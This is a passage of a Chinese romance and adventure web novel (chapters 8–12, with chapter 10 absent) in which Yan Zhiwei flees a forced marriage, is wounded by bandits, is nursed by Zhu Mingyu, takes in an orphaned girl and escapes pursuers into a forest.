“断眉”仍在不紧不慢地剔牙,他的手指横过牙龈,带出丝丝脓液。
黑黢黢的铳管冒出的烟还未散尽,又接过大声巨响,弹壳坠地,高速的黑鸦夺去几珠眼球。
家丁直挺挺站在雨中,神情滞然。不知是谁最先反应过来,说“跑!”。
跑!
跑!
再无人冷静,蝼蚁们乱作一团,四窜开来。生死一念间,人都是各顾各的命,哪有什么主子奴仆。晏知微剥落喜服,自喜轿跳下,忙不迭提裙奔逸。
山狼还在高嚎,红绸被鲜血染深,随风飘落在抽搐的躯体面。晏知微撇开蹩脚的鞋,绕开争斗的人群,眼前却是湍急的河流。
晏知微喘气跌倒,舌尖的腥血混住泥土的气息。
后边传来人声。
“没想到小娘子生得还挺漂亮啊。”
“断眉”乐呵着:“可惜你们家丁不长眼,就只能先送你下去陪他们了。”
又是一声巨响。
碧波绽出朱花。
8. 逃婚(下)
血红顺着水流蔓延,失去意识的鱼干涩着目被剖开腹腔,送往火堆中灼烤。
江覃拾起一条烤好的鱼遮住叶脉间隙泄出的光,不远处的山林传来阵阵响动,惊起一串飞鸟。
“那是明煜奔往的方向吗?”江覃眯眼。
几个时辰前,巡察使回朝的队列准备起程。回程的路要途经听说有官贼勾结、近来不算太平的蜀郡。队列本想日夜兼程,早些过了这不太平之地,怎料收到要在蜀郡暂留的密信,恰逢祝明煜也要临阵离开,说有要事,他到蜀郡再寻众人汇合。
他没多解释具体缘由,还顺走了一匹千里马。
江覃不明所以,张嘴咬鱼,问身旁闭眼休整的祝隶稷:“所以咱们要等他吗?”
他有些不放心。
祝明煜比祝隶稷与江覃二人小上近十岁,在江覃的印象中还是个没长大的小屁孩儿。他觉得等上一会儿也无事,祝隶稷却没有这个打算,说“复命要紧”,吩咐队列一切如常,行上好一段路程后才下令歇息。
“他不是有马吗,实在不行还有脚。”祝隶稷没有搭理江覃的忧语,注意力反更在烧起的焰火上,他接过手下刚烤好的鱼,勉强垫了两口。
“啧。”祝隶稷微微皱眉。
这鱼处理得糙,内脏都没挖干净,洒上了点孜然仍难掩腥苦。祝隶稷舐过牙根,放下烤鱼。
江覃也咬了一口,摇头道:“这鱼烤得太柴。”
还不如啃冷掉的干粮。
“要是有个好厨子就好……”江覃盯着可以看到混着血红的鱼肉,喃喃道。
——
像是被架在火炉上炙烤,后背传来阵痛。火铳擦过肌肤后冰凉的水潜入创面,带来更深的难耐。
晏知微咬牙,头一次如此清晰得感觉到死亡的逼近。
“贼眉”的枪法很准,哪怕是晏知微跳入水流也依然被重伤。晏知微忍痛掀开伤口,布料纤维与弹片碎屑交织成网,随呼吸不断颤动。
若是没有祝明煜的话,自己怕是早死了。
晏知微靠在树旁,胸口上下起伏。
一炷香前,晏知微被逼到绝境后跳河,像只野狗般吊着一口气在水里扑腾。她不敢回头,只绷紧脚、大开手,用尽全身的力气向前狗刨。
直到身后“断眉”的声音渐弱。晏知微才挣扎着回过头。
冰凉的水流漫过晏知微的头顶,这一番回头已耗尽她所有的气力。丧失意识前,或许是错觉,晏知微竟看见了满杉赤红的祝明煜。
晏知微眨了眨眼,不愿再回想起自己遭过的劫难。
她转移视线,祝明煜就坐在她几步处,生火烧起热水。
见晏知微清醒过来,祝明煜上前扶住晏知微,企图给她一个支力以放松。
“没事了,都过去了……”祝明煜塞晏知微半边的身躯入怀,指着从案发现场的陪嫁中寻出来的瓷罐安抚道,“等水烧开了我再给你处理伤口。”
“你怎么来了?”好不容易恢复力气,晏知微尚白着唇,“你不是说我这计划太过戾气,还……咳咳咳……不够宽容、不仁不义吗?”
“没想到你最后还是要来掺和吧哈哈……”
“不过确实是戾气重了,流了很多血。”纵使晏知微刚刚脱险,却还是笑,“其实我这计划本来都挺好的,谁知道会半道冒出来一堆土匪,还偏偏持了火铳,不然其实我也可以顺利逃开的……”
伤口仍在背后作痛,晏知微努力强撑,一边挽尊一边打趣着上升价值观:“不过人生其实就是这么无常,只要最后的结局是我们想要的,其实也都没什么对吧……咳咳……”
祝明煜低下头,不接晏知微的话头。水已经煮沸,咕咕冒出热气,祝明煜浸透布巾,别过眼替晏知微擦拭后半身。
晏知微还在絮叨。
“说实话,要是我今天交待在这了,哪怕变成白骨,我也要化成精,在午夜将那贼眉吃光抹净。”
“实在不行,我变成石头也不错,无情无感不痛不痒,不仅可以借机绊住那“断眉”一脚,还不用担心被报复……”
晏知微的想法是属实越发异想天开,祝明煜嘴角噙着笑,目光略过晏知微血糊后体的又敛了回来。
太不疼惜自己了。
祝明煜有点讨厌晏知微到这个份上还是无所在意、随意打趣的心态。自己分明和她说过那么多的话,晏知微还是充耳不闻。
祝明煜擦拭伤口的手突然一顿,布巾上的热水精准滴在晏知微腰窝,烫得她“嗷”一声弹起:“祝明煜!你报复我是吧?!”
“手滑了。”祝明煜抓住晏知微乱动的手。
“你还是吃点药吧。”他又抬住朝晏知微下巴,朝她腮帮子塞过几颗药丸。
晏知微靠在祝明煜身上,祝明煜怕她着凉又为她披上披肩,药丸起效很快,她背后伤口的疼痛逐渐减轻。
晏知微眼皮慢慢变沉,她闭上眼,梦见身上压着一只小猫,一边在她背上踩奶一边动舌头舔她面颊。
潮湿的温暖。
像前世下过雨的闷夏,她躺在母亲的怀里小憩,有蒲扇携风拥来。
不知睡了多久,晏知微醒来时天边泛黄,远山连绵,支撑巨大的落日。一个哈欠后,山林吞下一滴泪。
晏知微抹了抹眼,发现衣袖意外干涸住了几颗液珠,晏知微嗅了嗅,咸咸的。
而祝明煜始终抱着她。
晏知微盯祝祝明煜,对方似乎也在小憩,眼睫微微发颤,晏知微在他怀中动了动,引得祝明煜也睁开眼。
两个人便这般看着彼此眼中卧着的自己。
好半晌,晏知微才挑起手,说:“我做了个很好的梦。”
“有多好。”祝明煜拂开晏知微额顶的碎发。
“好到……好到我不想醒来。”好到她不想离开,只想停留在梦里。
“祝明煜点了点头,道:“可是我却希望你醒来,还希望你好得更快。”
祝明煜想,他不要改变晏知微了。不必再劝服,不必去勉强。
晏知微不想做的,他都去理解,去替她尝试好了。
知微是自由的雨燕。
而他也喜欢见到这样的晏知微——跑起来比
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野兔还飞快、笑起来眼睛都能掩掉大半的晏知微。
他想要晏知微永远都可以意气风发地撅嘴挑眉、随心所欲做着自己喜欢的事情。他还想要护住晏知微的泼辣,想要护住晏知微的脱线,想要晏知微始终无忧无虑。
祝明煜绕开伤口,一下一下轻拍晏知微的小臂。
“知微,要不跟我走吧。”
等回到京城,就一直呆在我身边。
可祝明煜知道晏知微不是一个想被束缚住的女人,于是他到嘴边的话又转了个弯:“我的意思是,今天这一遭过后,岭南咱们短时间是回不去了,不安全,你要不要先去其他地方避避风头?”
晏知微眨眨眼。
的确,自己清早才坐着花轿出发,转眼便遇上了山匪劫杀,一并出行的队列无一生还,只她一个弱女子得以归家。这样的行径怎么看都蹊跷,先不管秦玉致会不会相信,即便是相信了,也不过是延缓她出嫁的日子。
回去,左右是过不了难关。
晏知微身子向上挪了挪,脱开祝明煜怀抱,低下头仔细思索他的话。
要离开吗,好像是眼下最好的选择。
一来晏知微受了伤,虽紧急处理过仍需要找专业的大夫诊治。二来先去其他城市隐姓埋名也不失为一个等待观察的好法子,兴许过几日晏知微遇险的消息便会传回岭南,再杳无音讯个一年半载,晏家人大抵也会认定自己的身亡。
可是话说回来,凭什么是作为被害者的自己惹了一身臊,罪魁祸首的晏家反倒相安无事,自己好不容易想的报复计划就这么没后续了吗?晏知微蹙眉思虑,小腹渐渐烧起一股无名火来。
祝明煜还在等着晏知微的回复,他瞧瞧瞥过晏知微沉思的侧脸,手指不自觉紧成拳。
若是晏知微不愿跟随自己回京,只要她能平安喜乐,祝明煜也是欢喜的。只是,如果可以的话……
祝明煜有些失落,他干脆趴在地上,不自觉地拔起草来。可光拔这些野草还是觉得燥热,祝明煜随手再折了枝狗尾巴衔到嘴里。
干巴的细茎没有滋味。祝明煜叼得无聊,手心却传来一阵温热。
是晏知微覆上了他的手,祝明煜自然地翻掌向上。
一只拿多了菜刀,一只拿多了兵械。
两只同样生满老茧的掌心彼此相触、摩挲、紧扣,谁都不觉得另一只粗砺。
祝明煜耳朵又红了好半。
“祝明煜。”晏知微的声音像是痒痒挠,令人发软。
“我们一起走吧。”晏知微说,“去蜀郡,我们去蜀郡躲一阵子。”
蜀郡是晏宅的所在处,既然要躲难,说不准灯下黑才最安全。更何况……晏知微眨巴着眼,不管她遇险的消息传回晏家是什么反应,她内心还是希望亲眼看一看。
晏知微想,若是王家没有反应,她尚能为自己争一份气力。
哪怕是一只小小的火炬,哪怕只是一点火星,她也总能想出法子来为自己鸣不平。
她该的。
毕竟她早就暗自下过决心——她要亲眼目睹到晏家的报应。
9. 新身份
露天长桌台,好几十个男女聚在一堆,地上摊放着大件麻袋,里边是黄白色的面粉。
晏知微走在人群里,不时停下步伐。
“姑娘,你这手速不行啊,还得再练练。”晏知微摇头。
“还有你,不要混入那么多水,咱们是和面不是做面糊……”晏知微将戳过面的手指展示给训诫着的姑娘看,“你看这算什么,要用来做面团还是要用来糊墙吗?粘稠得手都分不开了,再加点面粉。”
晏知微抹白糊在桌,小臂戳了戳刚训过的姑娘的头,叹:“就这个速度今天能拿到几文工钱。”
也不知道这蜀郡的大户是怎么想的,前些天贴告示寻找巧手厨娘,说是要有多年后厨经验,又说人最好吃苦耐劳,晏知微心想自己也算符合条件便揭了告示,原以为是为某个宴席做临时帮工,接过却成了一堆毫无经验的新手的“监工师傅”。
当监工便罢了,监督的还是做包子,美名其曰是当地大户做慈善请百姓吃饭,只是蜀郡近来多雨,分明不是保存面点的好时机,这大户要的包子却又多又急,晏知微只好加班加点,一边替人示范如何揉搓面团一边腹语吐槽蜀郡这奇葩的大户。
晏知微用力揉搓,三下五除二后,一个圆滚饱满的面团成了,引得不少新手厨娘惊呼。晏知微享受众人惊羡的目光,自豪的腰板挺得直直,气昂着甩了甩手。
晏知微寻了张板凳坐下,岔开腿饮水。
距离晏知微到蜀郡已过了小半旬,她背上的伤口也结痂痊愈。事实上到了蜀郡时晏知微的伤口便好了大半,有她身体健壮代谢好的原因,还有一方面是她不会骑马,莫说飞驰,连马嚎几声、快走几步晏知微的眼珠都会被吓得夺眶。
所以纵然有千里马,却载着个狗胆英雄,两个人走走停停,比预期多花上三五天方到蜀郡。
当然,晏知微是一边掐着祝明煜的腰一边骂嚷进城的。这进了城她才知道所谓再度复兴的晏家不过是蜀郡不起眼的小宅,若不是曾属名门得到几个富商的高开,怕是在地段好租金贵的东大街都置不下房产。
不过这都是他话了,来蜀郡这些天晏知微蒙面路过几回晏府,府门紧闭,也打探不出里头的情形。
但她有的是时间等晏府闹出笑话。晏知微在板凳上坐着抹干净冒出的细汗,顺手接过有人孝敬的黄瓜,瓜啃到一半,祝明煜也牵着马做工回来了。
晏知微远远便瞧见了笑着走来的祝明煜,先前两人从送亲的队列中拿了些值钱的物什变卖,但蜀郡太大了,花钱似流水,两人合计只进不出不是回事,便都找了份短期工。
祝明煜前脚回来,就有小姑娘凑他跟前。
“祝大哥,你帮我和知微姐说一声,我今天真的很努力在擀面皮,这工钱能不能再多算些……”小姑娘姓许,也是头一回学做包子,效率不高,按做工量来计算压根赚不了几个钱。她观察晏知微二人好些天,知道祝明煜在晏知微跟前还说得上话,想讨好祝明煜以多得些钱。
祝明煜对这姑娘挺眼熟,闻言面露难色。
小许又低下嗓子:“祝大哥,你现在这般听知微姐的话,将来怎么做一家之主啊?”
她凑近道:“你可别将我的话不当回事儿,我做工这些天尽看人使唤你了,我爹说了,这女人娶回家也是要好好调教,不然……”
小许像只鹌鹑般回头,偷偷觑晏知微一眼,气声重叹:“不然男人可挺不直腰板!”
“祝大哥,你可得有尊严的活着啊!”小许嗔道。
祝明煜原本还红着脸,听到这句话聚起神来,他拧眉问小许:“难道知微待你很差吗。”
不曾不耐过,一点一滴细致教导,每日的工钱也总是最先算完款结账。祝明煜有些不懂了。
他盯着小许,好半晌沉默,郑重道:“我心甘情愿。”
“尊严与否不在女子的衣裙下,而在大丈夫的所为。”小许也是女人,祝明煜相信她懂自己在说什么。
祝明煜抬头,道:“请你不要再说这种话了,说了,我也不会高兴。”
高兴了,知微也不会开后门。
见祝明煜表现得如此正经,小许心头一凉,不淡定打着哈哈道:“我……我就是开个玩笑,看祝大哥你挺好玩的,不说了不说了……”
小许后撤半步,有些不甘心,更多的是一种真诚,她发问:“祝大哥,在你心中她便那么好,那么值得吗?”
在马背上行囊里翻动的手陡然停下,祝明煜怔了怔。
“我承认知微姐是个好人。”小许说,“可是再好的人也有缺陷,比如知微姐脾气急,有时候还习惯性对人发号施令,你就没有一回厌倦过?”
“你脾性就这般好吗。”
想起自家父亲对母亲的偶尔求助都百般嫌弃,小许着实是有些不解祝明煜的反应。
祝明煜从行囊掏出个小盒,避过话头敛回手:“你觉得呢。”
“我怎么知道!”
“那就不用想了呀。”祝明煜拍了拍落尘的衣杉,又理了理有些发乱的头发。
人的烦忧总离不开持续发问,可大多数时候发问解决不了问题,只会扰乱决心。
祝明煜笑了笑,他自幼学武,在边疆过惯刀尖舔血的生活,可他始终学不会沙盘推演该有的深谋远虑。
对一件事刨根问底并深度思考并不适合他,世上有太多他不为知的事物,索性他也不用承担勾心斗角的权谋,他只需也只想握住手中的剑,护住自己旗下的那片城、守得身旁安宁。不过凭借着一种直觉,一种本能,一种纯粹而生活,而这种生活只建立在自己的心甘之上,至于其他的……
“我只想跟随心走罢了。”祝明煜耸了耸肩。
——
晏知微黄瓜都吃得只剩个小把,祝明煜终于结束了和姑娘的对话,绕开人群走近她身边。晏知微缩了缩眸,抬肘指了指对面的一张小椅:“坐。”
“女人缘不错。”黄瓜的尾巴带些酸苦,晏知微索性丢掉。她已经不是第一回见人缠住祝明煜了,之前在岭南还不觉得,到了蜀郡,晏知微才真正意识到祝明煜的人气。
高大的个子兼还算帅气的面容,作为男人也有担当,被喜欢也正常。
晏知微托着腮,笑。
祝明煜乖巧的坐下,也冲着晏知微回笑。他的手掩在后头,面上还停着几抹若有似无的红晕。
“藏着什么宝贝呢?”
“知微,这个给你!”
两人几乎同时发声,祝明煜的声音更加浑厚,盖住晏知微的细语。祝明煜自衣摆掏出一个小盒,小盒式
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样精致,晏知微打开后有香味扑鼻而来。
丝丝缕缕的冷香萦绕在鼻尖,晏知微觉得很熟悉,却又猜不出具体香源。
“香膏?”晏知微对着祝明煜痴笑的面容探问。
“是润手脂。”祝明煜也靠近闻了闻小盒,“我看城东那家铺子卖得很好,便给你也挑了一盒。”
祝明煜接过晏知微手上的脂膏,咧开嘴摇尾巴:“店家说是用白梅初蕊配的,你且闻闻喜不喜欢。”
晏知微又细细闻了会儿,确实有一股梅花味,里边大抵还加了杏仁油,兴许还有些蜂蜜,再具体的配料就猜不太出了,晏知微敛回头,眼眸在熙光下闪动盈盈:“怎么突然想起送我这个。”
晏知微抿唇,些微喜悦跃上心头,可很快又觉得反常,从前在岭南那般久祝明煜都没送过自己礼物,太阳不会无故打西边出来。
晏知微眯了眯眼:“你不会是做了什么亏心事?”
晏知微合上脂膏盖:“从前你对我可没这么好。”
“说吧,你又闯了什么祸事?”似乎是认定祝明煜此举异常,晏知微升到一半的颧大肌又猛得下坠。
祝明煜哪预料过晏知微会突然变脸,一时着急起来:“没有亏心事,我就是……就是看你最近和面手都起皮了,自己手上做工又赚了些钱就想着给你买盒润手的脂膏……”
祝明煜两只手摆在胸前:“再说了,从前在岭南我都只是为你帮工,攒不下几个子,哪有闲钱买上这些玩意儿啊……”
晏知微知道这话没其他意思,更不是怨自己给得少以致他攒不下几分工钱……的吧?
祝明煜越说越激动,似是觉得委屈:“我真的没别的意思!你要是不想要我将来就不买了,但……”祝明煜瞥了瞥晏知微已经开裂的指节,上边生着些露红的倒刺,“但是冬天要到了,这脂膏多少还能起些用,你就留着它吧……”
祝明煜说得眼睛都红了,晏知微没料到他反应会如此大,一时也语塞:“我……”
祝明煜对上晏知微的眼,里头闪过晏知微看不懂的忧虑。
“我……”晏知微咽了咽口水,红着脸别过头,“谢谢你啊。”
“东西很好,我很喜欢!”晏知微摸了摸有些发胀的耳后。
感受到自己的心跳慢慢不由控制,晏知微有些不耐,胡乱摆手推开祝明煜,道:“你先回去吧先回去吧,我这边还要和面。”
晏知微心头有一把烧得正旺的火,使揉面的力度都控制不好,她想再多加些水,无意碰倒桌上的水杯。透明的水滴顺着桌面下跌,晏知微来不及闪躲,急急后退半步反险些摔了个踉跄,下半身淋了个彻底。
“啊啊啊啊啊!!!”晏知微仰天捂脸,手上残留的面糊在她脸上,“祝明煜!”
“是!”始作俑者不明所以。
晏知微裹着自己缓缓下坠,拿搭在胸前的汗巾盖住自己,恨不得钻到地底。
“祝明煜……”晏知微嗫嚅道,“你实在是……实在是……”
“实在是如何?”祝明煜也着急了。
有烟花在晏知微耳朵里爆炸,一声又一声,弄得晏知微整个人都飘飘欲仙。
晏知微被自己不受控的反应娇得直跺脚。
果然,祝明煜实在是太讨厌了!
11. 活下去
“娘!”
耳鸣阵阵,晏知微左手支在公告栏边缘。她嗫嚅着,尚未吐出话,身边挤出个黑杉,声音呕哑似劈了嗓子的枯鸦,待晏知微耳鸣好转后才看出那黑杉原不是只猫,而是个水灵的姑娘。
晏知微循着姑娘的颈部向上看,一枚黑色的痣横在脖间,像极了公告栏上某一张写着“二妞”二字的粘上墨点的画像。
晏知微瞪大双眼。她下意识伸手,想捂住二妞的嘴,不让她再言语。
“爹、娘!”
二妞却还在喊叫,不小的嗓音回荡在长街,引得路人频频回首。晏知微的余光瞥见几个官兵也有了动作,她心中焦虑,实在没法子,只得加重手里的力气,连拖带拽,将二妞扯进一口深巷。
“你没看到公告栏上边的画像吗,现在出去就是死路一条!”晏知微沉声道,试图让眼前人认清此刻的现状。
当然,这话从一个陌生人嘴里吐出,决计是不管用的。
“你是谁,快放开我!我要去找我爹娘!”二妞听不进去晏知微的话,她只知自己是被无端拽进巷子的,面上还露着惊慌,她露出齿牙,咬住晏知微捂住自己的手。
晏知微“啧”了一声,倒吸一口凉气:“你是狗吗?”
晏知微用另一只手掐住二妞的两颊,二妞喉结“呜呜”,发不出声。晏知微叹了口气,看来这种方式较为安全有效。
“你先别说话,让我先说。”
“首先我不是人贩子,其次,虽然很抱歉,但你爹娘如果是晏府的家丁的话,怕是已经尸骨无存了……”晏知微顿了顿,脑海中闪过一团血腥,“整个晏府都死了,被灭门了。”
晏知微眨了眨眼,表情有些木然。
她现在的感觉很微妙。
她是穿越而来的,原主自幼离家,秦玉致又险些将自己卖了,所以不论是晏知微继承的记忆还是她本身其实都没有太大的哀痛。
但也不是没感情。
晏知微的额角还渗着些冷汗——她逃婚的时候是想过令晏府吃上一亏,可这报应来了她又觉得后怕。她没想过要晏府灭门,没想过自己会间接处理他们,更没想过在这世间人命竟还不如草芥。
晏府尚算名门,虽是衰败也有声望,可王家覆灭它便如碾死一只蚂蚁,那她晏知微呢,若是有朝一日被仇家记恨上,也要被抽骨剥皮、野狗啃咬吗?
晏知微不敢再往下想。怀中的二妞仍在挣扎,她的眼泪湿热而大颗,全部砸在晏知微的袖口。
“我不信,你在骗我,我阿爹阿娘昨天早上还在和我一起用膳,说好要等我从山里采药回来和我一起过十四岁生辰的,我不信,我要回去找我爹娘……就算死,我也要和他们在一起……”二妞捂住自己的耳,眼圈红肿。
晏知微本就心烦,二妞还在无理取闹,晏知微心想要不便顺了二妞的意,可是眼前的少女毕竟是花样年华,晏知微不忍心再让她变成一块面目模糊的红肉。
“二妞。”晏知微轻唤少女的名字,“若是你爹娘还在世的话,也希望你好好的活着,你说对吗?”
“晏知微抹干二妞的泪,又将头贴紧二妞圆润的脸庞:“往事不可追,若你相信我的话,我带你离开。”
带你平安地离开。
晏知微拍了拍二妞的背。
她不知道二妞会不会相信自己,可二妞现在冲出去怕也难寻得可信之人助她渡劫。
晏知微没法眼睁睁去看二妞做傻事,不过愿意摊上这个麻烦帮助二妞,晏知微自己或许也是个蠢人。
晏知微叹了口气,手掌擦过二妞分岔的头发。
“你愿意相信我吗。”晏知微松开捂住二妞的手,目光晶莹,澄亮得如湖水般。
瞧着晏知微这双眸,二妞终于止住了哭。
“我要我娘……”才十几岁的少女终是卸下防备,回抱住晏知微,哽咽道。
晏知微将二妞的鸡窝发拆散,编了个小巧的侧单马尾。
二妞似乎是个淳朴(没心眼)的孩子,晏知微和她很聊得来,便也就知道二妞今年十三,是晏府后厨帮工的两个家丁的独生女。
也是可怜见的。
晏知微拂过二妞的黄发,想来她从前的生活也不易,营养不算好,好在二妞还保有一张豆腐般弹润的脸,估摸也是父母省吃俭用下用心爱出的孩子。
“二妞。”晏知微正了正眼前少女的身躯,“从今以后我就是你阿姐了,你听着,咱们要好好活下去的话就必须先改了这个名,再出了这蜀郡。”
当下之急是立刻离开,王家既已发了告示寻人便不会草草作罢,怕是真存了要灭全晏府的心思。
至少在蜀郡,二妞不能叫二妞,晏知微也不能再姓晏。
知微替二妞拍了拍衣上的尘土,目光划过夜空,今日群星璀璨,举目却不见月。
星光是微弱的,黑暗还很漫长。
二妞还这么小,知微希望二妞能活在光亮中,无忧无虑地成长,肆意做自己想做的一切。
她掐了掐二妞的脸,笑:“从今以后,你便叫少昭了。”
——
是夜,知微带回了只黑猫,烧了桶热水给她洗澡。少昭似乎有几天没梳洗过,乍一下水,皮肤便沿热气显出灰白反差的两段,知微替她敛起脏衣服,发现她身上的一套粗麻衣裳破了好几个洞。
好在少昭生得比同龄人高大,知微记得自己还有身粗布制的旧衣衫,当初没舍得扔,如今倒派上了用场。
知微秉烛,欲回寝房寻衣。烛光在昏暗的走道透出微薄的光亮,少昭在浴桶哼着小曲的声也越发远去。
“唰——”不知从哪来了风,烛熄了,知微蹙眉,心里有些发怵,她赶忙抬眸,恰对上黑暗里的一双眼。
“回啦。”看清来人,知微松了口气,嘴角含笑。
“嗯。”祝明煜温声道。
穿堂风自走道啸过,掀起衣袖乱舞。
“要变天了。”祝明煜叹。他的夜视不错,分了知微一片衣角,领着知微回了寝房。
知微在衣橱里翻衣,祝明煜就站在她身侧。
知微带少昭回来的前因已向祝明煜阐明,祝明煜点头并接纳了少昭,又在得知两人久未进食的时候自请出门觅食。
祝明煜带回了两只烤鸡,趁少昭洗浴先端给了知微。知微吃了半只,还剩半只推给祝明煜。
祝明煜顺手接过,没动口,看着知微吃得满油的嘴角,沉着脸,难得一句话也不说。
知微察觉到气压之低,给祝明煜倒了
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杯茶,探问祝明煜发生了何事。
“我们出城的事情出了点意外。”祝明煜道,“方才我去买吃食,发现城门已经有人在领着少昭的画像做交涉,说是重金悬赏。”
“待到天亮,还有官兵打算沿街寻人,听说是全城性的,怕是难得躲过稽查了。”
祝明煜饮下知微手中的茶。
两人原打算在城中躲几天风头再说后事,没想到王府的稽查竟如此迅速,两人当然可以选择赌一把继续藏人,只是这样便陷入了被动,离蜀的事情不定会越发棘手。
祝明煜神色黯淡,观测对面人的反应。
“城门已经闭了吧。”知微回忆起在岭南城门下匙的时间,掐了掐自己的鼻梁。
祝明煜懂了知微的纠结,接过她的话头:“按朝廷规矩城门是该闭了,但蜀郡有自己的习俗,素日是不禁北门的。”
也是,若是真的讲究闭城门的时刻,不知有多少王家的腌臜勾当没法在黑夜中实施。
知微轻作几声叹,她“啪”地将饮尽杯盏倒置在桌面,利落地拍了拍大腿:“我们今晚便走!”
子时将近,三人一马,步行于寂静的街市。
天边飘起了细雨,知微只挑拣了一些必要的行囊,将仅有的斗笠为骑在马上的少昭戴上。
几人的心情都很紧张。倘若顺利的话,他们遇不到拦路虎,便也就顺利出了城,倘若不顺……祝明煜牵着马的缰绳也有些发颤。
四下无声,马蹄踏地成了唯一的响动,离北门越发近了,众人的后头却传来一阵呼声。
“这么晚了,小娘子是要去往何处?”知微鬓角冒汗,无端觉得这声音有些熟悉。
是白天她见过的王家掌事婆子在说话!
知微瞪直了眼。
婆子还在絮叨:“莫不是嫌蜀郡风水不好,要逃走了吧。”
“不过着实是太急了,我这包子的工钱还没有结给你,小娘子当真不觉得可惜遗憾?”
婆子嘴角噙笑,眼神冰冷。
“若是没记错的话,小娘子来招工的时候报过自己的姓,是,晏?哎呀这姓氏可生得太妙,我家大人正四处寻你们哩。”
“还请小娘子到我府上歇晌一阵。”婆子道。
“我们若是不应允呢。”祝明煜挡在知微身前。
“那便只能硬请了。”婆子一边说着,一边作势挥了挥手,好几个持着利器的黑衣人从暗处走出。
只一刹,刀剑相触。祝明煜不知从哪掏出来一把利剑,手腕微动,抵住黑衣人手中砍刀的袭击,和对方挑开距离。
刀剑相撞的铮鸣声还在继续。又是好几个黑衣人向前扑来,祝明煜忽地矮身蹬地,牵动左臂,堪堪架住斜劈而来的刀刃。
知微闻着了空气中的血腥味,她定睛一看,大批深色正从祝明煜的粗衣下涌出。
“你们先上马,我稍后赶来!”祝明煜来不及多说,吹了一身口哨后猛地拍击马臀,知微尚未握紧手中的缰绳,马匹已经开始飞驰。
“活下去!”祝明煜又道。
两侧的视野越发模糊,骤雨伴着风打在知微的面上。
“祝明煜!”知微眼睁不全,只瞧见祝明煜的背影越来越小,最终化成点状,尽数溶于墨色。
12. 误入
知微在墨色中狂奔。
两眼的景色瞬息万变,却都是模糊的,看不清色彩的。
不知道马奔了多久,夜色渐渐淡去,有月光透过云层倾泻,打在知微攥紧缰绳的手上。
“姐姐……”少昭是最先从恐慌情绪中抽离的,她声音小小的,喃喃唤道,“阿姐,祝大哥不会有事吧?”
少昭的年纪小,但身量比知微差不了多少,少女刚缓过神,死死抱着前边的知微,仿如深海遇见了浮木。
感受到后头的温度,知微终也是回了神。
明明已经离了段距离,知微的鼻腔还是有股去不掉的腥味,透明的液体夺眶而出,知微任这咸苦的液体纵横在面,抖着手试图勒马。
颠簸逐渐停下,知微翻身下马,差点摔了个踉跄。
“阿姐!”少昭急忙扶住知微。
知微本就不喜欢骑马,这下更是惊慌得头晕眼昏,她勉强支着身子,回握住少昭的手:“你祝大哥不会有事儿的。”
她不准他再有事了。
知微惨着脸勾笑:“我们早些也预料过这样的情形,你祝大哥说了,若是遇到困难,他先去将人列开,我们便骑着这马先出城,再到最近的驿站汇合。”
少昭循着知微的指尖手势望,眼前是一家店,想来便是她说的驿站了。
少昭敛回目光,接过知微拽马的缰绳,点了点头。
两人便在驿站住下。
原本打算住个一宿,可到了第二天傍晚,日头都已不见踪迹,祝明煜的身影仍迟迟未出现。
两人又住了一宿,第三天依旧。
第四天、第五天也不见好转。
知微表面不说什么,连着好几天打翻了茶盏。少昭更是纠心,隔三差五便打开客房的窗户,远远朝外边望。
到了第七日,钱袋都已瘪上一圈,想等的人依旧不知去向,两人终于坐不住了。
“祝大哥不会真的有事了吧,要不我们返程,总得知道个情况啊!”少昭实在憋不住,她是个重情义的,祝明煜之事归根在她,眼下祝明煜音讯全无,她自是食不下咽。
知微没有搭理少昭,默默啃着干烧饼。
“阿姐!”少昭急道,“祝大哥是为我而遇险,他就算是死了我也该回去为他收尸。”
“你瞎说些什么。”知微将手中吃剩半个的烧饼塞到少昭口里。
“少昭,你祝大哥为你涉险,目的不是为了让你去送命的,你长点脑子吧。”知微拍了拍手上的渣。
她相信祝明煜不会有事,毕竟祝明煜说了定会来寻她——哪怕是要翻了群山,哪怕是要越过蜀道。
知微想,或许祝明煜是遇到了棘手的追捕,又或许这人压根找错了驿站,毕竟这驿站开在深林旁边,若是深夜路过,便容易忽略了它。
知微垂眸,眼下之急是贴身的盘缠将近,住店的钱不便宜,若是想要维持生计便少不得另谋差事,可这驿站是没岗,眼下要么抓紧穿过森林,寻个村落或城镇,要么便准备忍受食不果腹与担心追杀之苦。
知微的选择是进林。
她事先找店小二问过路了,若是顺利的话,纵是迷路,不出三日两人也可以走出那片密林。
知微提前备好了吃食,天刚发亮便入了林子。
林子比二人想象的还要大,茂密的植木参天,遮盖住上头洒下的阳光。两人一马循着店小二凭记忆画下的地图摸索,饿了便从兜中掏出块干粮,渴了便饮山中清泉。
一天,两天……知微与少昭日行好几万步,的确越发深入丛林,却也越发摸不着北。
知微拨开茂密的枝干,第三次踩到用来标识路段的石子时,她终于承认,二人实实在在迷了路。
“这不对呀……”知微快把店小二绘制的地图戳烂,“是顺着河流走啊,怎么就走回原点了呢……”
知微有些失去耐心,这都进入林子的第三天了,她们没有按店小二说的最迟时间出林,反消耗了不少干粮。
再这样踌躇下去,两人就只能在林子里自生自灭了。
一想到可能会遇到的巨蟒与野兽,知微背后发凉,连打好几个寒颤。
若是身边有个能商量的人倒还好,可少昭显然是指望不上了。那丫头打一进林心便散了,到处左看看东望望,路是没记住几条,倒是折了不少的好看枝条,还给知微编了串手链。
瞧着这做工颇精巧的手串,知微倒也不好意思指摘少昭,何况当初是她拍着胸脯保两人出林的,现下闹起脾气怪少昭不做事,可不是也打着自己的脸了吗?
不行。再探!再试。
知微咬了咬牙,起手抹去不存在的眼泪。
眼前还有一条路可走。
知微挺脖,前边是一片比之前还要密的绿林,河水就从那边淌出,从那座,颇有些陡峭的山岭。
知微回头,又摸了摸自己贴身的包裹,里边只剩半块烧饼了,这是她和少昭最后的口粮。知微不确定前边那条更为险峻的路是否会花明,打算自己先向上攀一攀,少昭便先留在原地,多少能省些力气。
知微将那半块烧饼又分为二,留小的那块塞入怀中。
“我且先去探探路,你先在这等我。”知微拍了拍少昭的头。
苔藓斑驳的树根间,一簇簇野菌破土而出,水源的声音就在耳畔,本就潮湿的空气覆上泥尘味。
几枝粗壮树干遮蔽住视线,知微俯下身,折开挡住自己的枝叶。突然,林中传来“嗖”的一声,有物什夹带着风朝知微飞速袭来。
不过弹指,箭矢射中老树。
知微闪躲得还算及时——若是忽略掉她被箭矢射穿的发髻。冷汗顺着知微白皙的脖颈下坠,被泥土尽数吸收,知微试图驱使着身躯,结果却是一动也不能动。
有人影在树丛中闪过,知微看不真切,心道真是要命。
